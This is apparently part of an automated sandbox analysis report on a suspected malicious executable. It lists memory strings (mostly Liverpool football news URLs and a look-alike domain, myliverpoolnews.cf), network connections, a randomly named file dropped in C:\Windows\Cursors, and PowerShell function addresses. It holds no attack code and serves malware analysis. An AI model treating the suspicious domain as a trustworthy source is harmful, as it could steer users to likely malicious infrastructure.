Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s180/0_Curtis-10.png
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s180/0_Salah-Goal-vs-Leeds.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s220b/0_Salah-Goal-vs-Leeds.jp
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s615/0_Salah-Goal-vs-Leeds.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s220b/0_RobertsonCross1.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s270b/0_RobertsonCross1.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s180/0_GettyImages-1231353837.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s220b/0_GettyImages-1231353837
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s180/0_GettyImages-1304940818.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s180/1_FreeAgentPlayers.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s615/1_FreeAgentPlayers.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s458/0_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s458/0_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s180/0_GettyImages-1273716690.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s458/0_GettyImages-1273716690.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s615/0_GettyImages-1273716690.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s458/0_GettyImages-1302496803.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s615/0_GettyImages-1302496803.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s458/1_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s615/1_WhatsApp-Image-2021-03-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpoolecho.co.uk/incoming/article17172788.ece/ALTERNATES/s1200/1_GettyImages-1178
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://mab.data.tm-awx.com/rhs"
Source: lfQuSBwdSf.exe, 00000000.00000002.345654171.00000000030F0000.00000004.00000001.sdmp	String found in binary or memory: https://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal
Source: lfQuSBwdSf.exe, 00000000.00000002.345654171.00000000030F0000.00000004.00000001.sdmp	String found in binary or memory: https://myliverpoolnews.cf4&l
Source: powershell.exe, 00000005.00000002.536067747.00000000058E2000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.535279406.0000000005E25000.00000004.00000001.sdmp, powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://quantcast.mgr.consensu.org
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://reach-id.orbit.tm-awx.com/analytics.js.gz
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://reachplc.hub.loginradius.com"
Source: lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://s2-prod.liverpool.com
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://s2-prod.liverpool.com/
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://s2-prod.mirror.co.uk/
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://securepubads.g.doubleclick.net/tag/js/gpt.js
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://static.hotjar.com/c/hotjar-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://trinitymirror.grapeshot.co.uk/
Source: lfQuSBwdSf.exe, 00000000.00000002.340683009.0000000001392000.00000004.00000020.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-M3TH25P
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/andrew-robertson
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/champions-league
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/curtis-jones
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/georginio-wijnaldum
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/mohamed-salah
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/ozan-kabak
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/premier-league
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/sadio-mane
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/steven-gerrard
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/transfers
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/
Source: lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/
Source: lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166
Source: lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-andy-robertson-valuable-quality-19946
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-barcelona-real-madrid-psg-17164868
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-champions-league-jurgen-klopp-1996194
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-curtis-jones-jurgen-klopp-19941053
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-gini-wijnaldum-rumours-fitness-199533
Source: lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-jurgen-klopp-pressing-tactics-1993836
Source: lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-ozan-kabak-future-audition-19954616
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-penalties-premier-league-var-17171391
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-sadio-mane-expected-goals-19932676
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/rhian-brewster-liverpool-arsenal-team-17172763
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/rhian-brewster-liverpool-arsenal-team-17172763&
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish-199590
Source: lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/featuresnC
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/transfer-news/
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/schedule/
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/search/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File created: C:\Windows\Cursors\WQzhTjfBsYrOnkh

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_030DD4A1	5_2_030DD4A1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_030DD4B0	5_2_030DD4B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0795B7B7	5_2_0795B7B7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0795B7C8	5_2_0795B7C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0337E870	7_2_0337E870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_03370040	7_2_03370040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_03372E20	7_2_03372E20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0337E870	7_2_0337E870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0337E870	7_2_0337E870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_03372E20	7_2_03372E20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_03372E20	7_2_03372E20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_03372E20	7_2_03372E20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_03372E20	7_2_03372E20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_08016D78	7_2_08016D78
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_080165A8	7_2_080165A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0801A800	7_2_0801A800
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_08010040	7_2_08010040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0801A330	7_2_0801A330
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_08014520	7_2_08014520
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_08014E88	7_2_08014E88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_080196B8	7_2_080196B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_08050830	7_2_08050830
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0805E330	7_2_0805E330
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_080B7E00	7_2_080B7E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_080BF500	7_2_080BF500
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_080B7E00	7_2_080B7E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_03378EAB	7_2_03378EAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B98298	9_2_02B98298
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B98790	9_2_02B98790
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B99F40	9_2_02B99F40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B9C338	9_2_02B9C338
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B991E7	9_2_02B991E7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B9E170	9_2_02B9E170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B9A770	9_2_02B9A770
